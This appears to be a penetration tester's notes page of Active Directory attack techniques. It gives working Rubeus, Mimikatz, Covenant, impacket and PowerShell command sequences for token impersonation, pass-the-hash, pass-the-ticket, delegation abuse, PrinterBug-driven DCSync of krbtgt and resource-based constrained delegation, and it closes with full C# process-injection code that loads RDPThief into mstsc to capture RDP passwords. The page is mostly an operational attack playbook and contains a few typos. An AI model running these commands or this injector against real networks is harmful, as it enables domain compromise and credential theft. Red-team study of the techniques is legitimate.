xct's notes
Search…
Getting & Using Credentials

Token Impersonation

Covenant

1
ImpersonateUser <user>
2
ImpersonateProcess <pid>
3
RevToSelf
Copied!

Metasploit

1
load incognito
2
list_tokens -u
3
impersonate_token <user>
4
rev2self
Copied!

Resources

Creating Tokens

Covenant

1
MakeToken <user> <domain> <password>
Copied!

Overpass-the-Hash

Create ticket for user:
1
Rubeus triage
2
Rubeus asktgt /user:<user> /rc4:<user ntlm hash>
Copied!
Get the base64 ticket from Rubeus output and clean it up. You can only have one TGT per logon session so the correct way is to create *sacrificial* logon session and apply the ticket there:
1
MakeToken <user> <domain> <anything>
2
Rubeus triage
3
Rubeus ptt /ticket:<ticket>
4
Rubeus triage
5
RevToSelf
Copied!
The same can be done with impacket:
1
getTGT.py <domain>/<user> -hashes :<hash>
2
getTGT.py <domain>/<user> -aesKey:<key>
3
getTGT.py <domain>/<user>:'password'
Copied!

Process Injection

There is a custom Covenant task that allows to inject shellcode into a process. By typing Inject a popup will appear where you paste the shellcode.
Donut can be used to generate shellcode from .NET assemblies.

Pass-The-Hash

Mimikatz

1
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm hash> /run:powershell
Copied!
When running mstsc.exe /restrictedadmin this could give us RDP access to other boxes without knowing the clear text cred (but passing the hash with xfreerdp works too).

Netonly

A logon session can only accommodate one TGT at a time, therefore its sometimes required to create another session before applying a TGT to it.
1
Rubeus triage
2
Rubeus createnetonly /program:c:\windows\system32\cmd.exe
3
Rubeus triage
4
Rubeus ptt /luid:<luid> /ticket:<ticket>
Copied!
After applying the ticket to the process we can impersonate it e.g. in Covenant Impersonate Process <pid>.

Unconstrained Delegation

Unrestricted access to services on behalf of a user. Find with:
1
Get-DomainComputer -Unconstrained -Properties DnsHostName
Copied!
List & dump ticket:
1
Rubeus triage
2
Rubeus dump /luid:<>
Copied!
Since we can only have 1 ticket per logon session spawn a new process first and note luid:
1
Rubeus createnetonly /program:C:\Windows\System32\cmd.exe
2
...
3
[+] ProcessID : 3256
4
[+] LUID : 0x584fe68
Copied!
Then apply the ticket:
1
Rubeus ptt /luid:0x584fe68 /ticket:<>
Copied!
Finally impersonate the process with ImpersonateProcess 3256 . Note that this will not change the output of whoami.
We can also use mimikatz:
1
privilege::debug
2
sekurlsa::tickets /export
3
kerberos::ptt ticket.kirbi
4
exit
Copied!
Ticket is now applied and we can connect to the target (e.g. PsExec).

PrinterBug with Unconstrained Delegation

Monitor tickets with Rubeus:
1
Rubeus monitor /interval:5 /filteruser:dc$
Copied!
1
SpoolSample.exe dc$ <server with unconstrained delegation we have a shell on>
Copied!
After getting the TGT with Rubeus we can ptt and DCSync:
1
Rubeus ptt /ticket:...
2
mimikatz # lsadump::dcsync /domain:... /user:<domain>\krbtgt
Copied!
This can even be used across domains in a forest environment!

Constrained Delegation

Restricts the services you can access on behalf of a user to a subset. Find machines that have it:
1
PowerShell Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
Copied!
You always want to check Bloodhound too - often the delegation is only for a single service type like "time", so we have to take that into account when generating tickets with Rubeus s4u.
Dump ticket:
1
Rubeus dump /service:krbtgt
Copied!
Generate ticket:
1
Rubeus s4u /impersonateuser:<user> /msdsspn:cifs/<server>.<domain> /ticket:<ticket>
Copied!
We can then apply it like on unconstrained delegation.
It might not always be the case that we find delegation for a useful service, in this case its possible to swap out the original service with more useful ones:
1
Rubeus.exe s4u /user:<machinegt; /rc4:<hash> /impersonateuser:administrator /msdsspn:time/srv.domain.local /altservice:cifs,host,rpcss,http /ptt
Copied!

Service types:

  • cifs - filesystem access
  • http - winrm
In case we have a cleartext password, but not the rc4 hash we can use Rubeus to generate it and create a TGT:
1
Rubeushash /password:secret
2
Rubeus asktgt /user:<user> /domain:<domain> /rc4:<hash>
Copied!

Resource-Based Constrained Delegation

Even if this does not show in BloodHound, if we have AllExentedRights over a machine, we can execute the command. Adding a new domain computer is not always needed (in case we already have control over one, e.g. used mimikatz to obtain a machine account hash)
We can use PowerMad to add a new domain computer:
1
New-MachineAccount -MachineAccount <new-computername> -Password $(ConvertTo-SecureString 'secret' -AsPlainText -Force)
2
Get-DomainComputer -Identity <new-computername>
Copied!
Set "msds-allowedtoactonbehalfofotheridentity" on a computer we have GenericWrite for so it allows our newly generated computerobject.
1
$sid = Get-DomainComputer -Identity <new-computername> -Properties objectsid | Select -Expand objectsid
2
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
3
$SDbytes = New-Object byte[] ($SD.BinaryLength)
4
$SD.GetBinaryForm($SDbytes,0)
5
Get-DomainComputer -Identity <victim-computername>| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'= $SDBytes}
Copied!
Create ticket:
1
.\Rubeus.exe s4u /user:<new-computername> /rc4:... /impersonateuser:administrator /msdsspn:CIFS/<victim-computername> /ptt
Copied!

Net Use

1
runas /user:administrator /savecred "cmd.exe /k whoami"
2
net use z: \\<ip>\c$ /user:<username> <password>
Copied!

Steal RPD Creds

RDPThief allows to get clear text credentials from newly established RDP connections (via hooking). It comes in form of a DLL and needs to be injected into the mscrt.exe process:
1
using System;
2
using System.Diagnostics;
3
using System.Runtime.InteropServices;
4
using System.Text;
5
using System.Threading;
6
7
namespace RDPThief
8
{
9
class Program
10
{
11
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
12
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
13
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
14
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
15
[DllImport("kernel32.dll")]
16
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
17
[DllImport("kernel32.dll")]
18
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
19
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
20
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
21
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
22
public static extern IntPtr GetModuleHandle(string lpModuleName);
23
24
static void Main(string[] args)
25
{
26
String dllName = "RdpThief.dll";
27
while (true) {
28
Process[] mstscProc = Process.GetProcessesByName("mstsc");
29
if (mstscProc.Length > 0) {
30
for (int i = 0; i < mstscProc.Length; i++) {
31
int pid = mstscProc[i].Id;
32
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
33
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
34
IntPtr outSize;
35
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
36
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
37
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
38
}
39
}
40
Thread.Sleep(1000);
41
}
42
}
43
}
44
}
45
Copied!
Last modified 9mo ago